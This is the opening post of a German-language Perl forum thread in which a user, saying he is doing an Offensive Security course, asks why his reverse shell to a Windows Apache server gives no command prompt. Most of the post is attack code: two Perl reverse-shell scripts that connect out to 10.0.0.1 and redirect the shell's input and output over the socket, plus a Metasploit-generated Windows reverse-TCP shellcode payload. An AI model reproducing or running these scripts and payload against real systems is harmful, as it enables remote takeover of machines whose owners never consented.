Thread reverse tcp shell (36 answers)
Opened by Whook at 2013-09-30 14:50

Whook
 2013-09-30 14:50
#170829 #170829
User since
2013-09-30
7 Artikel
BenutzerIn
[default_avatar]
Hallo,
ich versuche auf eine Windows Maschine (Apache,Perl) ein Perl Script hochzuladen, dass eine Reverse Shell Verbindung aufbaut und dann cmd.exe darin umleitet.

Den Verbindungsaufbau bekomme ich hin, leider kein Comand Prompt.

Eines vielleicht gleich vorweg, ja, ich versuche hier ein Fremdsystem zu hacken aber das soll ich auch machen, es handelt sich um eine Security Challenge, ich mache gerade einen Kurs hier: www.offensive-security.com

Ich habe mehrere Versuche:

Versuch1:
Code (perl): (dl )
1
2
3
4
5
6
7
8
#!c:/perl/bin/perl.exe

use IO::Socket;
## meine IP= 10.0.0.1
$socket = new IO::Socket::INET(PeerAddr,"10.0.0.1:1234");
STDIN->fdopen($socket,r);
$~->fdopen($socket,w);
system$_ while<>;


Versuch 2:
Code (perl): (dl )
1
2
3
4
5
6
7
8
9
10
11
12
13
#!c:/perl/bin/perl.exe

use Socket;

$i="10.0.0.1";
$p=4444;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
##exec("cmd.exe"); #hatte erst das probiert
system("start cmd.exe /k $cmd");
};


Versuch 3 mit generierter Shell durch msfpayload:
Code (perl): (dl )
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!c:/perl/bin/perl.exe

use IO::Socket;
# windows/shell_reverse_tcp - 314 bytes
# http://www.metasploit.com
# VERBOSE=false, LHOST=10.0.0.1, LPORT=1234, 
# ReverseConnectRetries=5, ReverseAllowProxy=false, 
# PrependMigrate=false, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
$shell = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" .
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" .
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" .
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" .
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" .
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" .
"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" .
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" .
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" .
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" .
"\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f" .
"\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29" .
"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50" .
"\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7\x68" .
"\xc0\xa8\x0e\x7d\x68\x02\x00\x04\xd2\x89\xe6\x6a\x10\x56" .
"\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89" .
"\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7" .
"\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50" .
"\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f" .
"\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d" .
"\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff" .
"\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72" .
"\x6f\x6a\x00\x53\xff\xd5";

$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "10.0.0.1",
PeerPort => "1234") or die "Keine Verbindung";

$socket->recv($sd, 1024);
in $sd
print "$sd";
$socket->send($shell);

Last edited: 2013-09-30 16:22:10 +0200 (CEST)

View full thread reverse tcp shell